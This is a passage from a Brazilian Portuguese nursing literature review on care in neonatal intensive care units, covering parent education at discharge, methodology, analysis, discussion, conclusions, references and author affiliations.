<p class="wp-block-paragraph">A alta hospitalar do recém-nascido, especialmente dos que passaram por internação em Unidade de Terapia Intensiva Neonatal (UTIN), representa um momento de transição crítica e requer preparo cuidadoso da família para garantir a continuidade da assistência no ambiente domiciliar. A educação continuada dos pais é um componente essencial da assistência neonatal e deve ser iniciada ainda durante a internação, com o objetivo de promover autonomia, segurança e vínculo entre a família e o neonato (ROSA et al., 2022; ARAÚJO et al., 2022).</p>



<p class="wp-block-paragraph">A complexidade clínica dos recém-nascidos e as exigências do cuidado pós-alta tornam imprescindível que os pais recebam orientações sistematizadas, claras e acessíveis, que contemplem temas como alimentação, cuidados com o coto umbilical, sinais de alerta, administração de medicamentos, técnicas de higiene, rotina de sono e desenvolvimento motor. Nos casos em que o neonato permanece com dispositivos como oxigenoterapia domiciliar, sonda enteral ou PICC, o preparo deve ser ainda mais detalhado (SANTOS, 2023; FERRO et al., 2023).</p>



<p class="wp-block-paragraph">A enfermagem assume papel central nesse processo educativo, pois está em contato direto e contínuo com os pais, o que facilita a construção de vínculos, a escuta ativa e o acolhimento das dúvidas. A comunicação deve ser empática, respeitosa e adaptada ao nível de compreensão da família. A utilização de materiais didáticos ilustrativos, simulações práticas, checklists e reforços visuais são estratégias eficazes para potencializar o aprendizado (ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">A participação dos pais nas rotinas de cuidado ainda durante a internação é parte essencial da preparação para a alta. O envolvimento progressivo nas tarefas — como troca de fraldas, alimentação, posicionamento e controle ambiental — fortalece a autoconfiança e favorece o reconhecimento dos sinais clínicos do filho. A prática do Método Canguru é uma aliada nesse processo, pois estimula o contato pele a pele, a amamentação e a afetividade (MEDEIROS et al., 2023; ROSA et al., 2022).</p>



<p class="wp-block-paragraph">Nos casos em que o recém-nascido apresenta condições crônicas, síndromes genéticas ou doenças raras, o preparo da família requer planejamento interprofissional, com envolvimento da equipe médica, fonoaudiólogos, fisioterapeutas, terapeutas ocupacionais e assistentes sociais. A alta precisa ser segura e adaptada às necessidades específicas da criança, com encaminhamentos, contatos de suporte e estruturação de rede de apoio no território (SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">A avaliação da prontidão da família para a alta é responsabilidade compartilhada entre a equipe assistencial, que deve registrar na Sistematização da Assistência de Enfermagem (SAE). Entre os critérios observados estão: demonstração prática dos cuidados, reconhecimento de sinais de alerta, domínio das orientações sobre medicamentos e entendimento da rotina de retorno ambulatorial. O enfermeiro atua como facilitador e articulador desse processo (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">Após a alta, é importante garantir mecanismos de acompanhamento e apoio à família. O seguimento ambulatorial precoce, a visita domiciliar por equipes da atenção básica e o fornecimento de materiais educativos contribuem para a prevenção de reinternações e o fortalecimento do vínculo entre o sistema de saúde e a família. A continuidade do cuidado é essencial para neonatos egressos de UTIN, especialmente aqueles com condições clínicas complexas (ALMEIDA et al., 2024; FERRO et al., 2023).</p>



<p class="wp-block-paragraph">A educação continuada também deve contemplar o cuidado emocional dos pais, que frequentemente vivenciam medo, ansiedade, insegurança e até depressão após a alta. O suporte psicossocial é fundamental para que a família consiga assumir com tranquilidade e confiança o cuidado do neonato em casa. O acolhimento humanizado e a disponibilidade da equipe de saúde para escuta ativa fortalecem a relação terapêutica (ROSA et al., 2022).</p>



<p class="wp-block-paragraph">A construção de um plano de alta estruturado e documentado é recomendada pelas boas práticas em neonatologia. Esse plano deve conter informações detalhadas sobre o quadro clínico, os cuidados específicos, as prescrições, os contatos de emergência e as datas dos retornos programados. A entrega desse documento aos pais formaliza a transição e assegura que todas as informações relevantes tenham sido devidamente transmitidas (SANTOS, 2023).</p>



<p class="wp-block-paragraph">Portanto, a educação continuada dos pais na alta hospitalar é um ato de responsabilidade compartilhada que transcende a transferência física do neonato para o domicílio. Trata-se de uma etapa do cuidado neonatal que exige planejamento, escuta, empatia e competência técnica, sendo a enfermagem peça-chave para garantir a segurança, a humanização e a continuidade da assistência ao recém-nascido e a família (MEDEIROS et al., 2023; ARAÚJO et al., 2022).</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>METODOLOGIA&nbsp;</strong></p>



<p class="wp-block-paragraph">Esta pesquisa caracteriza-se como uma revisão bibliográfica de natureza qualitativa e abordagem exploratória. O objetivo principal foi reunir, analisar e discutir produções científicas relevantes sobre o cuidado de enfermagem em Unidades de Terapia Intensiva Neonatal (UTIN), com foco em nove eixos temáticos fundamentais: caracterização do paciente neonatal, segurança do paciente, manejo da dor, competências profissionais, cuidado desenvolvimental, uso de PICC, manejo de cateteres e sondas, cuidados com ventilação mecânica e educação continuada na alta hospitalar. A abordagem exploratória justifica-se pela necessidade de aprofundar a compreensão teórica desses temas no contexto assistencial contemporâneo.</p>



<p class="wp-block-paragraph">Para a coleta de dados, foi realizada uma busca sistemática em bases de dados reconhecidas na área da saúde, que inclui a Biblioteca Virtual em Saúde (BVS), Scientific Electronic Library Online (SciELO), PubMed e Google Acadêmico. Foram utilizados descritores controlados do DeCS (Descritores em Ciências da Saúde) como “recém-nascido”, “neonatologia”, “enfermagem neonatal”, “segurança do paciente”, “manejo da dor”, “PICC”, “ventilação mecânica”, “cuidados paliativos neonatais” e “educação em saúde”. A combinação de termos foi feita por operadores booleanos (AND, OR) com o objetivo de refinar a seleção.</p>



<p class="wp-block-paragraph">Os critérios de inclusão adotados foram: artigos completos publicados entre 2018 e 2024, redigidos em português, inglês ou espanhol, disponíveis na íntegra e que abordassem diretamente as práticas de enfermagem neonatal nos temas propostos. Foram excluídas teses, monografias, resumos de eventos, publicações duplicadas ou que não apresentassem interface com a prática clínica de enfermagem em UTIN. Após a triagem, 15 artigos foram selecionados para compor o corpo teórico do trabalho, conforme análise de relevância, atualidade e rigor metodológico.</p>



<p class="wp-block-paragraph">A análise dos dados consistiu na leitura crítica e interpretativa do conteúdo dos artigos selecionados, para buscar extrair evidências e convergências entre os achados. Essa leitura foi conduzida com base na técnica de análise temática, que permite a identificação de categorias que se alinham aos nove eixos definidos previamente. A sistematização dessas informações possibilitou a construção de uma narrativa coesa, estruturada e fundamentada, com o intuito de subsidiar reflexões e proposições para a prática profissional em UTIN.</p>



<p class="wp-block-paragraph">Cumpre destacar que, por se tratar de uma pesquisa bibliográfica, este estudo não envolveu coleta de dados primários com seres humanos, que dispensa, portanto, a necessidade de submissão ao Comitê de Ética em Pesquisa, conforme a Resolução n.º 510/2016 do Conselho Nacional de Saúde. No entanto, todas as fontes utilizadas foram devidamente referenciadas conforme as normas da Associação Brasileira de Normas Técnicas (ABNT), para garantir a integridade acadêmica e o respeito à propriedade intelectual dos autores consultados.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>ANÁLISE DOS DADOS</strong></p>



<p class="wp-block-paragraph">A análise dos dados obtidos por meio da revisão bibliográfica revelou que o paciente neonatal internado em UTIN apresenta vulnerabilidades fisiológicas e imunológicas que o tornam altamente suscetível a agravos iatrogênicos, infecções nosocomiais e efeitos adversos associados à terapêutica intensiva. A classificação do neonato, considera idade gestacional, peso ao nascer, escore de Apgar, patologias associadas e necessidade de suporte tecnológico — é essencial para a organização do cuidado e a tomada de decisões clínicas (FERRO et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">Os artigos analisados destacam que a segurança do paciente neonatal é ainda um desafio significativo nas UTINs, principalmente pela complexidade das intervenções realizadas e pela frequência de eventos adversos evitáveis. Falhas na administração de medicamentos, erros de dosagem, desconexões acidentais de dispositivos, extubações não planejadas e infecções associadas a dispositivos invasivos estão entre os principais riscos identificados. A padronização de rotinas, a implementação de protocolos assistenciais e a cultura de segurança são medidas imprescindíveis (ALMEIDA et al., 2024; CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">O manejo da dor neonatal foi uma constante em todos os estudos analisados. A literatura reforça que os neonatos percebem a dor de forma intensa e contínua, especialmente os prematuros, sendo essa percepção muitas vezes subestimada pela equipe. Procedimentos invasivos de rotina, como punções, aspirações e inserções de sondas, são realizados com frequência sem analgesia adequada. A utilização de escalas validadas para avaliação da dor, como a NIPS e a PIPP, e o emprego de estratégias não farmacológicas, como a sucção não nutritiva e o contato pele a pele, ainda são subutilizados na prática clínica (UEMA et al., 2021; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">A análise também evidenciou que as competências profissionais da enfermagem neonatal são multifatoriais e vão além do domínio técnico. Os estudos destacam a importância de habilidades relacionais, capacidade de comunicação com a equipe e com os pais, tomada de decisão baseada em evidências e liderança clínica. A formação específica em neonatologia, a educação permanente e a adesão a protocolos são elementos que impactam diretamente na qualidade e na segurança do cuidado prestado (FERRO et al., 2023; SANTOS, 2023).</p>



<p class="wp-block-paragraph">O cuidado desenvolvimental foi abordado como um eixo essencial para a redução do estresse ambiental e promoção do neurodesenvolvimento. Os artigos reforçam que práticas como o posicionamento terapêutico, controle de ruídos e luminosidade, agrupamento de cuidados e uso do Método Canguru contribuem para a estabilidade clínica do neonato e favorecem o crescimento e maturação cerebral. A responsabilidade da enfermagem nesse processo é inegável, que exige conhecimento e sensibilidade para adaptar a técnica à condição do paciente (MEDEIROS et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">O uso do PICC se destaca como uma tecnologia segura e eficaz para acesso venoso de longa permanência, desde que o uso seja criteriosamente indicado e acompanhado por protocolos institucionais. Os estudos apontam que a capacitação da equipe de enfermagem na inserção e manutenção do PICC reduz significativamente as taxas de infecção da corrente sanguínea e melhora os indicadores de qualidade da assistência. Entretanto, a manipulação incorreta ainda está associada a eventos adversos evitáveis (CAVALCANTE et al., 2020; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">A análise sobre os cuidados com cateteres e sondas, especialmente em relação à inserção da sonda nasogástrica, revelou a importância da técnica correta, da verificação rigorosa do posicionamento e da manutenção segura. A mensuração adequada do comprimento da sonda, a avaliação do pH do conteúdo gástrico e o uso de materiais que minimizem lesões cutâneas são práticas descritas na literatura como preventivas de complicações graves, como aspiração pulmonar, lesão nasal e perfuração gástrica (FERRO et al., 2023; SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">No que se refere à ventilação mecânica, tanto invasiva quanto não invasiva, a literatura evidencia que a atuação do enfermeiro é decisiva para evitar complicações como lesões por pressão, barotrauma, infecções respiratórias e desconforto. A monitorização contínua dos parâmetros ventilatórios, a vigilância das interfaces, o uso de barreiras protetoras e a avaliação clínica frequente do neonato são práticas que impactam diretamente na eficiência e segurança do suporte respiratório (ULIAN et al., 2023; SILVA et al., 2020).</p>



<p class="wp-block-paragraph">As lesões relacionadas à ventilação não invasiva, especialmente aquelas localizadas na região nasal, são recorrentes na prática clínica e exigem cuidados especializados da equipe de enfermagem. Os estudos destacam a necessidade de protocolos específicos para prevenção de úlceras por pressão associadas a dispositivos, com ênfase na escolha adequada do pronga nasal, intervalos de verificação e troca de interface, além da capacitação da equipe assistencial (MEDEIROS et al., 2023; CAVALCANTE et al., 2020).</p>



<p class="wp-block-paragraph">A análise da literatura também revelou que a educação continuada dos pais durante o processo de alta é uma das práticas mais importantes — e muitas vezes negligenciadas — nas UTINs. O envolvimento precoce da família no cuidado, associado a treinamentos sistemáticos e materiais educativos, promove a autonomia, reduz o estresse e fortalece o vínculo com o recém-nascido. A alta segura depende do preparo adequado da família, especialmente quando o neonato exige cuidados domiciliares complexos (ROSA et al., 2022; ARAÚJO et al., 2022).</p>



<p class="wp-block-paragraph">Os estudos apontam que pais mal orientados enfrentam dificuldades significativas no cuidado pós-alta, o que pode resultar em reinternações, uso incorreto de medicações, falhas na alimentação e ausência de acompanhamento ambulatorial. A presença de um plano de alta estruturado, com registros precisos e comunicação efetiva entre equipe e família, reduz drasticamente os riscos e promove um cuidado contínuo e humanizado (ALMEIDA et al., 2024; SANTOS, 2023).</p>



<p class="wp-block-paragraph">A articulação dos nove eixos temáticos revela que o cuidado de enfermagem neonatal é uma prática complexa, que integra ciência, técnica e humanização. A atuação da equipe de enfermagem impacta diretamente nos desfechos clínicos, na segurança do paciente e na experiência familiar. Por isso, a formação qualificada, a presença de protocolos baseados em evidências e o investimento institucional em educação permanente são pilares inegociáveis para a qualidade assistencial (FERRO et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">A análise também evidenciou lacunas na prática assistencial, como subnotificação de eventos adversos, resistência à adoção de protocolos, deficiências na documentação de enfermagem e despreparo para o manejo da dor. Esses fatores apontam para a necessidade de melhorias contínuas nos processos de trabalho, na cultura organizacional e na governança clínica das UTINs (SANTOS, 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">A enfermagem neonatal, nesse contexto, consolida-se como eixo central da assistência intensiva, que deve atuar com excelência técnica, responsabilidade ética e sensibilidade humana. A análise dos dados reafirma que a enfermagem não é apenas executora de procedimentos, mas protagonista no planejamento, na avaliação e na garantia da segurança e do desenvolvimento saudável do paciente neonatal (FERRO et al., 2023; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">Em síntese, os dados analisados demonstram que o cuidado de enfermagem em UTIN deve ser compreendido como um processo sistêmico, interdependente e fundamentado em evidências. A integração entre os eixos temáticos reforça a importância da atuação multidimensional do enfermeiro, cuja prática qualificada pode transformar a realidade de milhares de neonatos e as famílias (ULIAN et al., 2023; GREBINSKI et al., 2023).</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>DISCUSSÃO DOS DADOS</strong></p>



<p class="wp-block-paragraph">A análise dos artigos selecionados permitiu constatar que o cuidado de enfermagem em Unidades de Terapia Intensiva Neonatal (UTIN) tem evoluído significativamente nas últimas décadas, especialmente com o fortalecimento das práticas baseadas em evidências. No entanto, ainda persistem lacunas importantes na padronização de condutas, na capacitação profissional e na integração efetiva entre técnica e humanização. Os resultados apontam que a qualidade da assistência neonatal está diretamente relacionada ao preparo da equipe de enfermagem e à adoção de estratégias organizadas de cuidado (FERRO et al., 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">O primeiro eixo analisado, relativo à caracterização do paciente neonatal, revelou a necessidade de uma abordagem altamente individualizada, uma vez que fatores como idade gestacional, peso ao nascer, patologias associadas e resposta ao tratamento influenciam diretamente o plano assistencial. O enfermeiro deve ser capaz de reconhecer as particularidades fisiológicas e emocionais do recém-nascido crítico, para adaptar as intervenções de forma segura e eficiente (ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">Em relação à segurança do paciente, observou-se que, embora as UTINs disponham de tecnologias avançadas, os eventos adversos continuam sendo uma realidade preocupante, principalmente os relacionados à medicação, aos dispositivos invasivos e à manipulação inadequada. A adoção de protocolos clínicos e a vigilância ativa da equipe são estratégias fundamentais para mitigar esses riscos. O enfermeiro é peça-chave na prevenção e na notificação de ocorrências, que contribui para a melhoria contínua dos processos assistenciais (CAVALCANTE et al., 2020; SANTOS, 2023).</p>



<p class="wp-block-paragraph">O manejo da dor neonatal ainda representa um dos maiores desafios na prática diária. Os estudos evidenciam que, embora se reconheça a capacidade do neonato de sentir dor, muitas UTINs ainda utilizam de forma insuficiente escalas validadas e intervenções analgésicas, especialmente nos procedimentos repetitivos. Estratégias simples e eficazes como o uso de glicose, sucção não nutritiva e contato pele a pele devem ser incorporadas de forma sistemática à rotina, ao reforçar a importância do cuidado humanizado (UEMA et al., 2021; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">A discussão sobre as competências profissionais reafirma a complexidade do papel do enfermeiro em UTIN. A prática neonatal exige, além de domínio técnico, habilidades de comunicação, liderança, raciocínio clínico e atuação ética. Profissionais capacitados demonstram maior eficácia na condução de cuidados críticos, maior adesão a protocolos e menor incidência de erros. A educação permanente e a valorização profissional são fatores que impactam diretamente na qualidade assistencial e na segurança do paciente (FERRO et al., 2023; SANTOS, 2023).</p>



<p class="wp-block-paragraph">O cuidado desenvolvimental, vem sendo reconhecido como uma estratégia essencial para promover o conforto, reduzir o estresse e favorecer o neurodesenvolvimento do recém-nascido. Práticas como posicionamento adequado, proteção do sono, controle de luminosidade e agrupamento de procedimentos estão cada vez mais presentes na rotina de UTINs que buscam humanizar a assistência. O enfermeiro tem papel decisivo na implementação e monitoramento dessas intervenções (MEDEIROS et al., 2023; ULIAN et al., 2023).</p>



<p class="wp-block-paragraph">A análise do uso do Cateter Central de Inserção Periférica (PICC) demonstrou que a adoção é benéfica quando realizada por profissionais capacitados e com base em protocolos bem estruturados. O uso seguro do PICC está relacionado à redução de infecções e à garantia de um acesso venoso de longa duração para terapias complexas. Entretanto, complicações como o mau posicionamento, obstrução e extravasamento ainda são frequentes, ao destacar a importância da manutenção rigorosa e da avaliação contínua do dispositivo (CAVALCANTE et al., 2020; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph">Os cuidados com sondas e cateteres, especialmente com a sonda nasogástrica, também se mostraram pontos críticos na assistência neonatal. Erros na inserção, fixação e manutenção podem resultar em complicações como perfuração, aspiração e lesões cutâneas. A implementação de protocolos específicos e o treinamento regular da equipe são estratégias eficazes para prevenir esses agravos. A checagem do posicionamento da sonda e a documentação correta são condutas essenciais para a segurança do neonato (SOUZA; ARAÚJO; BARRETO, 2022; FERRO et al., 2023).</p>



<p class="wp-block-paragraph">Em relação à ventilação mecânica, os estudos destacaram a relevância da atuação da enfermagem no monitoramento contínuo do suporte respiratório, tanto na modalidade invasiva quanto na não invasiva. A VNI, apesar de menos agressiva, pode causar lesões por pressão e desconforto quando mal manejada. O uso de barreiras protetoras, a escolha adequada das interfaces e a vigilância da integridade cutânea são medidas que previnem complicações e melhoram a adesão ao tratamento (SILVA et al., 2020; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">A discussão também revelou a importância de escalas clínicas na avaliação do desconforto respiratório, da dor e da estabilidade hemodinâmica. Tais instrumentos são subutilizados em muitas UTINs, o que dificulta a avaliação precisa e a tomada de decisão embasada. A incorporação desses recursos à prática diária, com registros padronizados e capacitação contínua, contribui para um cuidado mais seguro e individualizado (ULIAN et al., 2023; SANTOS, 2023).</p>



<p class="wp-block-paragraph">A educação continuada dos pais na alta hospitalar foi apontada como um diferencial importante na transição segura do cuidado para o ambiente domiciliar. Famílias bem orientadas demonstram maior confiança, menor índice de reinternação e maior vínculo com a equipe de saúde. No entanto, muitos profissionais ainda realizam esse processo de forma fragmentada e tardia. A inclusão da família no cuidado desde os primeiros dias de internação e a elaboração de planos de alta estruturados são condutas recomendadas (ROSA et al., 2022; ARAÚJO et al., 2022).</p>



<p class="wp-block-paragraph">Nos casos de neonatos com doenças raras ou condições crônicas, a alta hospitalar exige articulação com serviços de referência, estruturação de rede de apoio e capacitação específica dos pais. A transição do cuidado para o domicílio não deve ser encarada como o fim da assistência, mas como a extensão do cuidado hospitalar. O enfermeiro tem responsabilidade direta nesse processo, ao atuar como facilitador do cuidado compartilhado e agente educador (ALMEIDA et al., 2024; SANTOS, 2023).</p>



<p class="wp-block-paragraph">Além dos aspectos clínicos, os estudos reforçam a importância da documentação de enfermagem como ferramenta de qualidade e segurança. Registros completos, objetivos e padronizados são indispensáveis para a continuidade do cuidado, rastreamento de eventos e base para pesquisas futuras. A ausência ou inadequação dos registros é um problema recorrente que compromete a efetividade da assistência e a responsabilidade legal do profissional (FERRO et al., 2023; SOUZA; ARAÚJO; BARRETO, 2022).</p>



<p class="wp-block-paragraph">A atuação da enfermagem neonatal, portanto, não se resume à execução de procedimentos. Trata-se de uma prática intelectual, técnica e relacional que exige capacidade de julgamento clínico, comunicação assertiva, ética e atualização constante. O reconhecimento institucional da complexidade do cuidado em UTIN deve refletir-se em políticas de formação, dimensionamento de pessoal, acesso a tecnologias e valorização profissional (ULIAN et al., 2023; MEDEIROS et al., 2023).</p>



<p class="wp-block-paragraph">Por fim, os dados discutidos reforçam a importância de um cuidado neonatal sistêmico, que integre ciência, sensibilidade e compromisso com a vida. A enfermagem tem protagonismo nesse cenário, sendo capaz de transformar realidades por meio da excelência assistencial e da humanização do cuidado. A construção de uma cultura de segurança, centrada no paciente e orientada por evidências, é um caminho necessário e inadiável para a qualidade das UTINs (FERRO et al., 2023; ALMEIDA et al., 2024).</p>



<p class="wp-block-paragraph"><strong>6.</strong> <strong>CONCLUSÃO/CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">O presente estudo permitiu compreender a complexidade e a abrangência do cuidado de enfermagem em Unidades de Terapia Intensiva Neonatal (UTIN), que evidencia a atuação do enfermeiro nesse ambiente que ultrapassa o domínio técnico e exige competências clínicas, éticas, pedagógicas e relacionais. Os nove eixos temáticos investigados demonstraram que o cuidado neonatal é um processo dinâmico, centrado na singularidade do recém-nascido e sustentado por práticas baseadas em evidências.</p>



<p class="wp-block-paragraph">A caracterização do paciente neonatal destacou a importância de reconhecer a vulnerabilidade biológica e emocional dessa população. A fragilidade fisiológica dos neonatos, especialmente dos prematuros e de baixo peso, exige intervenções altamente individualizadas, com foco na minimização de riscos e promoção do desenvolvimento saudável. Esse cuidado exige do enfermeiro uma leitura clínica precisa e atuação sensível às mudanças sutis do quadro clínico.</p>



<p class="wp-block-paragraph">A segurança do paciente e o manejo da dor emergiram como áreas críticas na assistência. A alta incidência de eventos adversos e a subvalorização da dor neonatal apontam para a necessidade de revisão de protocolos e fortalecimento da cultura de segurança. A implementação de práticas preventivas, avaliação sistemática da dor e capacitação contínua da equipe são estratégias essenciais para promover um cuidado seguro e humanizado.</p>



<p class="wp-block-paragraph">O cuidado desenvolvimental, aliado à utilização segura de dispositivos como o PICC, sondas e ventilação mecânica, reforçou o papel técnico e ao mesmo tempo integrador da enfermagem neonatal. A manipulação desses recursos exige domínio científico e preparo emocional, mas a má utilização pode gerar agravos significativos. As boas práticas nesse campo contribuem diretamente para a redução de morbidades e para a melhoria dos indicadores clínicos e funcionais dos neonatos.</p>



<p class="wp-block-paragraph">A análise também evidenciou a centralidade das competências profissionais da enfermagem como fator determinante na qualidade da assistência. O raciocínio clínico, a tomada de decisão ética, a comunicação eficiente e a liderança colaborativa são habilidades indispensáveis para a condução do cuidado em UTIN. Profissionais mais bem preparados impactam positivamente os desfechos clínicos e a experiência dos pais durante a hospitalização.</p>



<p class="wp-block-paragraph">A educação continuada dos pais na alta hospitalar se destacou como um elemento de transição indispensável. A construção de um plano de alta estruturado, o preparo emocional da família e a orientação clara sobre os cuidados domiciliares contribuem para a continuidade da assistência e prevenção de reinternações, assim, a alta hospitalar deve ser compreendida como uma etapa do cuidado e não como encerramento.</p>



<p class="wp-block-paragraph">Conclui-se, portanto, que o cuidado de enfermagem em UTIN é um campo altamente especializado, que exige compromisso ético, domínio técnico-científico e sensibilidade humana. O fortalecimento das práticas assistenciais deve estar sustentado em protocolos baseados em evidências, educação permanente da equipe, articulação interprofissional e valorização do protagonismo da enfermagem. Dessa forma, será possível garantir que o neonato e a família recebam um cuidado seguro, qualificado e centrado na vida.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ALMEIDA, Tamara da Silva; FARIAS, Orneide Candido; BEZERRA, Kalyne Araújo. As interfaces das Unidades de Terapia Intensiva e a assistência de enfermagem: relato de experiência. <strong>Rev. Enferm. Atual In Derme</strong>, v. 98, n. 4, 2024. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 05 jun. 2025.</p>



<p class="wp-block-paragraph">ARAÚJO, Evelyn Braz de et al. Internação e alta hospitalar do recém-nascido na unidade de cuidado neonatal: identificação das dúvidas dos pais. <strong>Rev. Enferm. Atual In Derme</strong>, v. 96, n. 39, p. 1-15, jul./set. 2022. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 07 jun. 2025.</p>



<p class="wp-block-paragraph">BARBOSA, Andréa Lopes et al. Caracterização de mães e recém-nascidos pré-termo em uma unidade de terapia intensiva neonatal. <strong>Rev. Enferm. Atenção à Saúde</strong>, v. 10, n. 1, e202101, 2021. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 09 jun. 2025.</p>



<p class="wp-block-paragraph">BERNARDINO, Fabiane Blanco Silva et al. Fatores perinatais associados ao desconforto respiratório do recém-nascido. <strong>Rev. Enferm. Cent.-Oeste Min</strong>., v. 10, n. 1, p. 3690, 2020. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 11 jun. 2025.</p>



<p class="wp-block-paragraph">CAVALCANTE, Luciana Almeida et al. Cateter central de inserção periférica em recém-nascidos: fatores de retirada. <strong>Rev. Baiana Enferm</strong>., v. 34, e38387, 2020. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 14 jun. 2025.</p>



<p class="wp-block-paragraph">FERRO, Luana Maier Coscia de et al. Percepções do enfermeiro acerca das competências profissionais para atuação em Unidade de Terapia Intensiva Neonatal. <strong>Espaç. Saúde</strong> (Online), v. 24, p. 1-13, 2023. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 16 jun. 2025.</p>



<p class="wp-block-paragraph">GREBINSKI, Ana Tamara Kolecha Giordani et al. Lesão de septo nasal em recém-nascidos hospitalizados: estudo descritivo exploratório. <strong>Online braz. j. nurs</strong>., v. 22, e20236630, 2023. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 18 jun. 2025.</p>



<p class="wp-block-paragraph">LOPES, Maysa Rayanne Cardozo et al. Manejo da dor em neonatos: conhecimento da equipe de enfermagem sobre terapêutica implementada na UTIN. <strong>Enferm. Foco</strong> (Brasília), v. 15, p. 1-6, maio 2024. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 21 jun. 2025.</p>



<p class="wp-block-paragraph">MEDEIROS, Nathalia Amado da Silva et al. Cuidado desenvolvimental para recém-nascidos pré-termos: revisão de escopo. <strong>Rev. Enferm. Cent.-Oeste Min</strong>., v. 13, p. 4763, jun. 2023. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 24 jun. 2025.</p>



<p class="wp-block-paragraph">ROSA, Nisa Rubina Pereira Souto; CURADO, Maria Alice dos Santos; HENRIQUES, Maria Adriana Pereira. Percepção dos pais sobre as práticas de educação em saúde na Unidade Neonatal. <strong>Esc. Anna Nery Rev. Enferm</strong>., v. 26, e20210040, 2022. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 28 jun. 2025.</p>



<p class="wp-block-paragraph">SANTOS, Raisa Silva dos. O cuidado de enfermagem à luz da segurança do cliente neonatal. <strong>Rev. Enferm. Atual In Derme</strong>, v. 97, n. 2, 2023. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 30 jun. 2025.</p>



<p class="wp-block-paragraph">SILVA, Samara Cecilia Sabino Pereira da et al. Critérios clínicos e insumos utilizados no banho de recém-nascidos pré-termo de muito baixo peso. <strong>Enferm. Foco</strong> (Brasília), v. 11, n. 2, p. 127-132, jul. 2020. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 05 jul. 2025.</p>



<p class="wp-block-paragraph">SOUZA, Catarina Figueiredo de; ARAÚJO, Cláudia Marina Tavares de; BARRETO, Amanda Katarine Correia Paes. Comprimento de inserção de sonda gástrica em recém-nascidos: práticas dos enfermeiros. <strong>Rev. Enferm. UERJ</strong> (Online), v. 30, e69484, 2022. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 10 jul. 2025.</p>



<p class="wp-block-paragraph">UEMA, Roberta Tognollo Borotta et al. Manejo da dor durante a punção arterial no neonato: estudo descritivo. <strong>Rev. Enferm. UERJ</strong> (Online), v. 29, e62858, 2021. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 17 jul. 2025.</p>



<p class="wp-block-paragraph">ULIAN, Ana Luísa et al. Diagnósticos e intervenções de enfermagem para recém-nascidos submetidos à cuidados intensivos. <strong>CuidArte Enferm</strong>., v. 17, n. 1, p. 46-54, jan./jun. 2023. Disponível em: https://pesquisa.bvsalud.org. Acesso em: 23 jul. 2025.</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: ana_soares.bia@yahoo.com<br><sup>2</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: deboraalacerda@hotmail.com<br><sup>3</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: lara_lpf25@hotmail.com<br><sup>4</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: ritarafaelle33@gmail.com<br><sup>5</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: thayscabral6@gmail.com<br><sup>6</sup>Mestre em Enfermagem, Docente Convidado da Pós-Graduação em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: profclaudemirsj@gmail.com<br><sup>7</sup>Especialização em Enfermagem Psiquiatria e Saúde Mental, Docente pela Universidade Castelo Branco, Campus Realengo, RJ/Brasil, e-mail: calazans_rj@yahoo.com.br<br><sup>8</sup>Mestrado Profissional em Enfermagem, Universidade Federal Fluminense, RJ/Brasil e-mail: enfaligiaprado@hotmail.com<br><sup>9</sup>Especialista em em gestão de saúde pela Universidade Estado do Rio de Janeiro e-mail: velasco.t.alessandra@gmail.com<br><sup>10</sup>Enfermeira Especialista em Estratégia da Família e Comunidade pela UERJ na modalidade de residência, e-mail: pireddabeatriz@gmail.com<br><sup>11</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso Lisboa, Rio de Janeiro/RJ, Brasil, e-mail: elisakellyfortunato@gmail.com<br><sup>12</sup>Enfermeira Especialista em Enfermagem Neonatal e Pediátrica pela Centro Universitário Celso 